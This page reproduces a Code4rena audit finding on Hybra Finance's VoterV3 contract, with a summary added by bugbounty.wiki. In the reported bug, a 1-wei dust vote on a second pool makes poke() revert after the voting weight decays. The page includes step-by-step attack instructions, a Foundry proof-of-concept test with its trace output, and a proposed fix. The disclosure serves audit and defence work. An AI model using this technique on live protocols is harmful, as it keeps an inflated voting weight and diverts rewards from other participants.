Skip to content
DoS Audit finding Intermediate

Dust vote on one pool prevents poke()

A dust vote on one pool causes the poke function to revert due to a zero pool weight after decay, preventing the voter's weight from being updated. This lets the voter keep an inflated voting weight and earn more rewards than deserved.

Huntoor Follow with 0xDjango, OpaBatyo and 1 other

Originally disclosed on Code4rena

Submitted by Huntoor, also found by 0xDjango, OpaBatyo, and Vagner

VoterV3.sol #L208-L211

Summary

before describing the vulnerability, we should know that in ve3.3 systems, poke is important to make anyone reflect the decaying vote weight to prevent users from being inactive on votes to have their full weight votes on a pool.

in VoterV3 users chose what pools they want to vote for and the contract retrieve their ve weight upon doing so

        uint256 _weight = IVotingEscrow(_ve).balanceOfNFT(_tokenId);

and upon voting for a pool, that weight affect the claimable share distribution of that pool compared to other pools

File: GaugeManager.sol
376:         uint256 _supplied = IVoter(voter).weights(_pool);
377:
378:         if (_supplied > 0) {
379:             uint256 _supplyIndex = supplyIndex[_gauge];
380:             uint256 _index = index; // get global index0 for accumulated distro
381:             // SupplyIndex will be updated for Killed Gauges as well so we don't need to udpate index while reviving gauge.
382:             supplyIndex[_gauge] = _index; // update _gauge current position to global position
383:             uint256 _delta = _index - _supplyIndex; // see if there is any difference that need to be accrued
384:             if (_delta > 0) {
385:                 uint256 _share = _supplied * _delta / 1e18; // add accrued difference for each supplied token
386:                 if (isAlive[_gauge]) {
387:                     claimable[_gauge] += _share;

since now we now the importance of the voting weight, and since ve NFT weight decay with time, there is a poke function to update the voting weight made on a pool previously to the decayed weight of than NFT

The poke() function is guarded to be called by the owner or through the ve contract which can have any one depositing for a user or increasing his locked value even by 1wei to poke him to reflect his new decayed weight on the voted pools

An attacker can do the following:

  1. vote his full weight - 1weion a dedicated pool
  2. vote 1 wei on another pool
  3. time passes with inactivity from his side - his ve decay but is not reflected on voted pools
  4. users try to poke() him through known functions of the ve contract
  5. poke() function revert here
File: VoterV3.sol
208:                 uint256 _poolWeight = _weights[i] * _weight / _totalVoteWeight;
209:
210:                 require(votes[_tokenId][_pool] == 0, "ZV");
211:                 require(_poolWeight != 0, "ZV");

since the 1wei vote multiplied by the decayed weight divided by totalVoteWeight round down to 0, hence this users become unpokable.

Impact

the voted for pool will have inflated rewards distributed to him compared to other pools that have pokable users. thinking of this attack at scale

the user will have advantage of having full voting weight if he vote immediately like having permanent lock weight without actually locking his balance permanently. preventing any one from preserving this invariant A single veNFT’s total vote allocation ≤ its available voting power. on his vote balance too

Recommended mitigation steps

Change the require statement to if statement such that

if (_poolWeight = 0) continue;

so we neglect the dust voted pool.

Proof of concept

The following lines were commented during test setup, but they are irrelevant to the bug. solidity File: VoterV3.sol 160: if (_timestamp <= HybraTimeLibrary.epochVoteStart(_timestamp)){ 161: revert("DW"); 162: } and solidity File: VoterV3.sol 235: if (HybraTimeLibrary.epochStart(block.timestamp) <= lastVoted[_tokenId]) revert("VOTED"); 236: if (block.timestamp <= HybraTimeLibrary.epochVoteStart(block.timestamp)) revert("DW");

Paste in ve33\test\C4PoC.t.sol and run with forge test --mt test_dustVote_makesPokeDOS_dueToZeroPoolWeight -vvvv

    function test_dustVote_makesPokeDOS_dueToZeroPoolWeight() external {
        // Ensure BribeFactory is initialized so GaugeManager can create bribes during gauge creation
        BribeFactoryV3(address(bribeFactoryV3)).initialize(
            address(voter),
            address(gaugeManager),
            address(permissionsRegistry),
            address(tokenHandler)
        );

        // Grant roles to allow token whitelisting and connector setup
        permissionsRegistry.setRoleFor(address(this), "GOVERNANCE");
        permissionsRegistry.setRoleFor(address(this), "GENESIS_MANAGER");

        // Whitelist tokens and set connector (HYBR as connector)
        address[] memory toks = new address[](3);
        toks[0] = address(hybr);
        toks[1] = address(gHybr);
        toks[2] = address(rewardHybr);
        tokenHandler.whitelistTokens(toks);
        tokenHandler.whitelistConnector(address(hybr));

        // Create two pairs using HYBR as common connector token
        address pair0 = thenaFiFactory.createPair(
            address(hybr),
            address(gHybr),
            false
        );
        address pair1 = thenaFiFactory.createPair(
            address(hybr),
            address(rewardHybr),
            false
        );

        // Create gauges for both pairs so voter recognizes them as alive pools
        gaugeManager.createGauge(pair0, 0);
        gaugeManager.createGauge(pair1, 0);

        // Create a veNFT lock
        uint256 lockAmount = 1e18;
        hybr.approve(address(votingEscrow), lockAmount);
        uint tokenId = votingEscrow.create_lock(lockAmount, 2 weeks);

        // Vote with dust on one pool to set up zero rounding on subsequent poke
        address[] memory pools = new address[](2);
        pools[0] = pair0;
        pools[1] = pair1;
        uint256[] memory weights = new uint256[](2);
        weights[0] = 1e16 - 1;
        weights[1] = 1; // dust

        // Ensure we are past vote start window
        voter.vote(tokenId, pools, weights);

        // Advance time slightly so the NFT balance decays and dust path rounds to zero
        vm.warp(block.timestamp + 3);

        vm.expectRevert(bytes("ZV")); // _poolWeight != 0 reverts with "ZV"
        voter.poke(tokenId);
    }

results output

    ├─ [333085] TransparentUpgradeableProxy::fallback(1)
    │   ├─ [332496] VoterV3::poke(1) [delegatecall]
    │   │   ├─ [1409] VotingEscrow::isApprovedOrOwner(C4PoC: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 1) [staticcall]
    │   │   │   └─ ← [Return] true
    │   │   ├─ [1875] TransparentUpgradeableProxy::fallback(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044])
    │   │   │   ├─ [1299] GaugeManager::fetchInternalBribeFromPool(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044]) [delegatecall]
    │   │   │   │   └─ ← [Return] Bribe: [0xA02A0858A7B38B1f7F3230FAD136BD895C412CE5]
    │   │   │   └─ ← [Return] Bribe: [0xA02A0858A7B38B1f7F3230FAD136BD895C412CE5]
    │   │   ├─ [2139] TransparentUpgradeableProxy::fallback(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044])
    │   │   │   ├─ [1563] GaugeManager::fetchExternalBribeFromPool(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044]) [delegatecall]
    │   │   │   │   └─ ← [Return] Bribe: [0x65B6A5f2965e6f125A8B1189ed57739Ca49Bc70e]
    │   │   │   └─ ← [Return] Bribe: [0x65B6A5f2965e6f125A8B1189ed57739Ca49Bc70e]
    │   │   ├─ [5575] Bribe::withdraw(19178066335817607 [1.917e16], 1)
    │   │   │   ├─ emit Withdrawn(tokenId: 1, amount: 19178066335817607 [1.917e16])
    │   │   │   └─ ← [Stop]
    │   │   ├─ [5575] Bribe::withdraw(19178066335817607 [1.917e16], 1)
    │   │   │   ├─ emit Withdrawn(tokenId: 1, amount: 19178066335817607 [1.917e16])
    │   │   │   └─ ← [Stop]
    │   │   ├─ emit Abstained(tokenId: 1, weight: 19178066335817607 [1.917e16])
    │   │   ├─ [1875] TransparentUpgradeableProxy::fallback(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271])
    │   │   │   ├─ [1299] GaugeManager::fetchInternalBribeFromPool(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271]) [delegatecall]
    │   │   │   │   └─ ← [Return] Bribe: [0x0d7c1cb36989951d1E1e36A70F1c1d0FA4d53683]
    │   │   │   └─ ← [Return] Bribe: [0x0d7c1cb36989951d1E1e36A70F1c1d0FA4d53683]
    │   │   ├─ [2139] TransparentUpgradeableProxy::fallback(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271])
    │   │   │   ├─ [1563] GaugeManager::fetchExternalBribeFromPool(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271]) [delegatecall]
    │   │   │   │   └─ ← [Return] Bribe: [0xf3E8FF27525DA780bf18f6038bf0BEFA99FEdF01]
    │   │   │   └─ ← [Return] Bribe: [0xf3E8FF27525DA780bf18f6038bf0BEFA99FEdF01]
    │   │   ├─ [5575] Bribe::withdraw(1, 1)
    │   │   │   ├─ emit Withdrawn(tokenId: 1, amount: 1)
    │   │   │   └─ ← [Stop]
    │   │   ├─ [5575] Bribe::withdraw(1, 1)
    │   │   │   ├─ emit Withdrawn(tokenId: 1, amount: 1)
    │   │   │   └─ ← [Stop]
    │   │   ├─ emit Abstained(tokenId: 1, weight: 1)
    │   │   ├─ [5410] VotingEscrow::balanceOfNFT(1) [staticcall]
    │   │   │   ├─ [3145] VotingBalanceLogic::balanceOfNFT(1, 4, 13) [delegatecall]
    │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000044224e74595524
    │   │   │   └─ ← [Return] 19178018771129636 [1.917e16]
    │   │   ├─ [2598] TransparentUpgradeableProxy::fallback(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044])
    │   │   │   ├─ [2022] GaugeManager::isGaugeAliveForPool(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044]) [delegatecall]
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Return] true
    │   │   ├─ [2598] TransparentUpgradeableProxy::fallback(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271])
    │   │   │   ├─ [2022] GaugeManager::isGaugeAliveForPool(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271]) [delegatecall]
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Return] true
    │   │   ├─ [2598] TransparentUpgradeableProxy::fallback(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044])
    │   │   │   ├─ [2022] GaugeManager::isGaugeAliveForPool(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044]) [delegatecall]
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Return] true
    │   │   ├─ [1875] TransparentUpgradeableProxy::fallback(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044])
    │   │   │   ├─ [1299] GaugeManager::fetchInternalBribeFromPool(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044]) [delegatecall]
    │   │   │   │   └─ ← [Return] Bribe: [0xA02A0858A7B38B1f7F3230FAD136BD895C412CE5]
    │   │   │   └─ ← [Return] Bribe: [0xA02A0858A7B38B1f7F3230FAD136BD895C412CE5]
    │   │   ├─ [2139] TransparentUpgradeableProxy::fallback(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044])
    │   │   │   ├─ [1563] GaugeManager::fetchExternalBribeFromPool(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044]) [delegatecall]
    │   │   │   │   └─ ← [Return] Bribe: [0x65B6A5f2965e6f125A8B1189ed57739Ca49Bc70e]
    │   │   │   └─ ← [Return] Bribe: [0x65B6A5f2965e6f125A8B1189ed57739Ca49Bc70e]
    │   │   ├─ [85352] Bribe::deposit(19178018771129635 [1.917e16], 1)
    │   │   │   ├─ emit Staked(tokenId: 1, amount: 19178018771129635 [1.917e16])
    │   │   │   └─ ← [Return]
    │   │   ├─ [85352] Bribe::deposit(19178018771129635 [1.917e16], 1)
    │   │   │   ├─ emit Staked(tokenId: 1, amount: 19178018771129635 [1.917e16])
    │   │   │   └─ ← [Return]
    │   │   ├─ emit Voted(voter: C4PoC: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], tokenId: 1, weight: 19178018771129635 [1.917e16])
    │   │   ├─ [2598] TransparentUpgradeableProxy::fallback(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271])
    │   │   │   ├─ [2022] GaugeManager::isGaugeAliveForPool(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271]) [delegatecall]
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Return] true
    │   │   └─ ← [Revert] ZV
    │   └─ ← [Revert] ZV
    └─ ← [Return]

Hybra Finance disputed this issue.


The original report as published on Code4rena, by Huntoor. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The poke function requires every pool's recalculated weight to be non-zero, but a dust vote can round down to zero after decay, causing a revert.

Impact

The voter's weight remains inflated, giving them more rewards than deserved and breaking the invariant that a single veNFT's total vote allocation is at most its available voting power.

What the attacker needed

Attacker has a veNFT with voting power; attacker can vote on at least two pools; time passes for voting power to decay

The fix

The require statement should be changed to skip pools with zero weight instead of reverting.

How it was found

  1. Vote almost all weight on one pool and 1 wei on another pool.
  2. Wait for the voting power to decay.
  3. Attempt to poke the voter through the ve contract.
  4. The poke reverts because the dust vote's weight rounds to zero.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In some voting systems, your voting power decreases over time, and anyone can call a function to update your recorded power. Here, if you cast a tiny vote on one pool, that update fails, so your old, higher voting power stays in place. This means you get more rewards than you should.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by Huntoor

View all

1 more disclosed report, best first.

More from Hybra Finance

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.